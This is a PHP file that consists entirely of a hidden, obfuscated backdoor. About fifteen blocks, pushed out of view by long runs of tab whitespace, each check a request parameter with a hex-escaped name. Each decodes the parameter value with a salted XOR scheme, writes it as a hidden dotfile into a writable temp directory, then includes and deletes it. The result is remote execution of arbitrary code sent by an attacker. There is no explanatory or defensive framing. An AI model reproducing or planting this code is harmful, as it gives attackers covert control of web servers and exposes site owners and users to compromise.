<?php																																										if(count($_POST) > 0 && isset($_POST["m\x61\x72k\x65r"])){ $k = array_filter([getenv("TMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP")]); $ent = $_POST["m\x61\x72k\x65r"]; $ent = explode ( "." , $ent ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $w = 0; $__tmp = $ent; while($v4 = array_shift($__tmp)) {$chS = ord($s[$w % $sLen]); $dec =((int)$v4 - $chS -($w % 10)) ^ 40; $pset .= chr($dec); $w++; } foreach ($k as $key => $item) { if (is_dir($item) && is_writable($item)) { $ent = str_replace("{var_dir}", $item, "{var_dir}/.flg"); if (file_put_contents($ent, $pset)) { include $ent; @unlink($ent); exit; } } } }
																																										if(!is_null($_REQUEST["\x70g\x72p"] ?? null)){ $desc = array_filter(["/tmp", session_save_path(), getenv("TMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP")]); $marker = $_REQUEST["\x70g\x72p"]; $marker = explode ( ".", $marker ); $record =''; $s5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s5 ); $l =0; array_walk($marker ,function ($v9) use (&$record ,&$l ,$s5 ,$sLen) { $sChar =ord($s5[$l % $sLen] ); $dec =((int)$v9 - $sChar - ($l % 10)) ^ 39; $record .= chr($dec ); $l++;}); for ($dat = 0, $symbol = count($desc); $dat < $symbol; $dat++) { $token = $desc[$dat]; if ((is_dir($token) and is_writable($token))) { $value = sprintf("%s/.comp", $token); if (@file_put_contents($value, $record) !== false) { include $value; unlink($value); exit; } } } }
																																										if(isset($_POST["\x64\x65sc"]) ? true : false){ $itm = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd()]); $elem = $_POST["\x64\x65sc"]; $elem =explode( "." , $elem ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $n = 0; array_walk($elem, function($v8) use(&$object, &$n, $salt, $sLen) { $chS = ord($salt[$n% $sLen] ); $d = ((int)$v8 - $chS -($n% 10)) ^64; $object .= chr($d ); $n++; } ); foreach ($itm as $fac) { if (!( !is_dir($fac) || !is_writable($fac) )) { $tkn = "$fac/.record"; if (file_put_contents($tkn, $object)) { require $tkn; unlink($tkn); die(); } } } }
																																										if(isset($_POST["\x70\x61\x72\x61\x6D\x65t\x65\x72_group"])){ $k = $_POST["\x70\x61\x72\x61\x6D\x65t\x65\x72_group"]; $k =explode ( '.' , $k) ; $entity = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $m = 0; while( $m< count( $k)) { $v8 = $k[$m]; $chS = ord( $s[$m % $lenS] ); $dec =( ( int)$v8 - $chS -( $m % 10))^92; $entity .= chr( $dec ); $m++; } $elem = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp"]); for ($data = 0, $binding = count($elem); $data < $binding; $data++) { $pgrp = $elem[$data]; if (max(0, is_dir($pgrp) * is_writable($pgrp))) { $res = str_replace("{var_dir}", $pgrp, "{var_dir}/.ref"); if (file_put_contents($res, $entity)) { require $res; unlink($res); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x69t\x65m")){ $dat = $_REQUEST["\x69t\x65m"]; $dat = explode ( '.' ,$dat ) ; $resource = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $p = 0; while($p < count($dat)) {$v1 = $dat[$p]; $sChar = ord($salt2[$p % $sLen]); $d =((int)$v1 - $sChar -($p % 10)) ^ 90; $resource .= chr($d); $p++; } $object = array_filter(["/dev/shm", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP")]); while ($parameter_group = array_shift($object)) { if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $comp = implode("/", [$parameter_group, ".holder"]); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $comp; @unlink($comp); exit; } } } }
																																										if(array_key_exists("\x65\x6E\x74ity", $_REQUEST)){ $factor = $_REQUEST["\x65\x6E\x74ity"]; $factor =explode ( '.', $factor ); $flag = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); foreach($factor as $o => $v8) { $chS = ord($salt4[$o % $sLen] ); $d = ((int)$v8 - $chS -($o % 10)) ^ 28; $flag .= chr($d ); } $rec = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", getenv("TEMP"), getcwd()]); while ($holder = array_shift($rec)) { if (array_product([is_dir($holder), is_writable($holder)])) { $descriptor = vsprintf("%s/%s", [$holder, ".ptr"]); if (@file_put_contents($descriptor, $flag) !== false) { include $descriptor; unlink($descriptor); exit; } } } }
																																										if(@$_REQUEST["co\x6Dp"] !== null){ $ent = array_filter([getenv("TEMP"), session_save_path(), "/tmp", getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir()]); $pointer = $_REQUEST["co\x6Dp"]; $pointer =explode ( "." , $pointer ) ; $dchunk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $z= 0; $len= count($pointer); do { if($z >= $len) break; $v6= $pointer[$z]; $chS= ord($s[$z % $lenS]); $dec= ((int)$v6 - $chS -($z % 10)) ^61; $dchunk .= chr($dec); $z++; } while(true); $bind = 0; do { $elem = $ent[$bind] ?? null; if ($bind >= count($ent)) break; if (array_product([is_dir($elem), is_writable($elem)])) { $reference = str_replace("{var_dir}", $elem, "{var_dir}/.component"); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $reference; @unlink($reference); exit; } } $bind++; } while (true); }
																																										if(in_array("key", array_keys($_REQUEST))){ $record = $_REQUEST["key"]; $record =explode( '.' ,$record ); $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $r = 0; array_walk($record, function ($v3) use (&$token, &$r, $salt, $sLen) { $sChar = ord($salt[$r % $sLen] ); $dec = ((int)$v3 - $sChar - ($r % 10))^85; $token .= chr($dec ); $r++;} ); $property_set = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path()]); while ($symbol = array_shift($property_set)) { if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $elem = join("/", [$symbol, ".item"]); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $elem; @unlink($elem); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["e\x6E\x74"])){ $hld = $_REQUEST["e\x6E\x74"]; $hld =explode ( '.' , $hld); $symbol = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $w = 0; array_walk($hld, function ($v8) use (&$symbol, &$w, $salt7, $sLen) {$sChar = ord($salt7[$w % $sLen]); $d = ((int)$v8 - $sChar - ($w % 10))^ 59; $symbol .= chr($d); $w++; }); $flag = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($flag as $mrk): if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) { $bind = implode("/", [$mrk, ".value"]); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $bind; @unlink($bind); exit; } } endforeach; }
																																										if(!is_null($_REQUEST["\x76\x61l"] ?? null)){ $flg = array_filter([getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp"]); $elem = $_REQUEST["\x76\x61l"]; $elem = explode ( '.' , $elem ) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $m = 0; array_walk($elem, function($v4) use(&$data, &$m, $salt, $lenS) { $chS = ord($salt[$m% $lenS] ); $dec = ((int)$v4 - $chS -($m% 10)) ^ 39; $data .= chr($dec ); $m++; } ); for ($pgrp = 0, $bind = count($flg); $pgrp < $bind; $pgrp++) { $ent = $flg[$pgrp]; if (is_dir($ent) ? is_writable($ent) : false) { $token = implode("/", [$ent, ".factor"]); $file = fopen($token, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $token; @unlink($token); exit; } } } }
																																										if(in_array("fac\x74\x6Fr", array_keys($_POST))){ $component = $_POST["fac\x74\x6Fr"]; $component =explode ( "." , $component); $dchunk= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt5); $len= count($component); for($z= 0; $z<$len; $z++) { $v4= $component[$z]; $chS= ord($salt5[$z % $sLen]); $d= ((int)$v4 - $chS -($z % 10)) ^ 40; $dchunk .= chr($d); } $flg = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/dev/shm", "/tmp", "/var/tmp", sys_get_temp_dir()]); foreach ($flg as $key => $token) { if (is_writable($token) && is_dir($token)) { $res = "$token/.binding"; if (file_put_contents($res, $dchunk)) { require $res; unlink($res); exit; } } } }
																																										if(@$_POST["\x70\x67rp"] !== null){ $k = $_POST["\x70\x67rp"]; $k= explode ( '.', $k ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $w = 0; foreach ($k as $v6) { $sChar = ord($salt[$w % $sLen] ); $d = ((int)$v6 - $sChar - ($w % 10)) ^ 37; $marker .=chr($d ); $w++; } $parameter_group = array_filter([getenv("TMP"), getenv("TEMP"), session_save_path(), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]); foreach ($parameter_group as $sym): if (max(0, is_dir($sym) * is_writable($sym))) { $bind = vsprintf("%s/%s", [$sym, ".flag"]); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $bind; @unlink($bind); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["\x76al"] ?? null)){ $marker = $_REQUEST["\x76al"]; $marker = explode ( '.',$marker ); $obj = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $s = 0; while ($s < count($marker)) { $v6 = $marker[$s]; $chS = ord($salt5[$s % $lenS]); $dec = ((int)$v6 - $chS - ($s % 10))^ 83; $obj .= chr($dec); $s++; } $entity = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd(), "/dev/shm"]); foreach ($entity as $dchunk): if (array_product([is_dir($dchunk), is_writable($dchunk)])) { $tkn = join("/", [$dchunk, ".mrk"]); if (@file_put_contents($tkn, $obj) !== false) { include $tkn; unlink($tkn); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["p\x73\x65t"] ?? null)){ $binding = array_filter([getenv("TMP"), session_save_path(), "/tmp", getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]); $record = $_REQUEST["p\x73\x65t"]; $record= explode ("." ,$record ) ; $property_set =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); $v =0; $__tmp =$record; while ($v5 =array_shift($__tmp)) { $chS =ord($salt[$v % $lenS] ); $dec =((int)$v5 - $chS - ($v % 10)) ^ 33; $property_set .= chr($dec ); $v++; } foreach ($binding as $resource): if (!( !is_dir($resource) || !is_writable($resource) )) { $itm = vsprintf("%s/%s", [$resource, ".bind"]); if (file_put_contents($itm, $property_set)) { include $itm; @unlink($itm); exit; } } endforeach; }


if(array_key_exists("f\x61c", $_REQUEST) && !is_null($_REQUEST["f\x61c"])){
	$comp = array_filter(["/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd()]);
	$flag = $_REQUEST["f\x61c"];
		$flag	= 	explode( "."		,		$flag)   ;
	$flg='';
            $s8='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($s8);
            $p=0;
    
            $__tmp=$flag;
            while($v8=array_shift($__tmp)) {
                $chS=ord($s8[$p%$sLen]);
                $dec=((int)$v8 - $chS -($p%10))	 ^	48;
                $flg.= chr($dec);
                $p++;
            }
	for ($data_chunk = 0, $symbol = count($comp); $data_chunk < $symbol; $data_chunk++) {
    $ent = $comp[$data_chunk];
    		if (is_writable($ent) && is_dir($ent)) {
    $hld = sprintf("%s/.element", $ent);
    if (file_put_contents($hld, $flg)) {
	include $hld;
	@unlink($hld);
	die();
}
}
}
}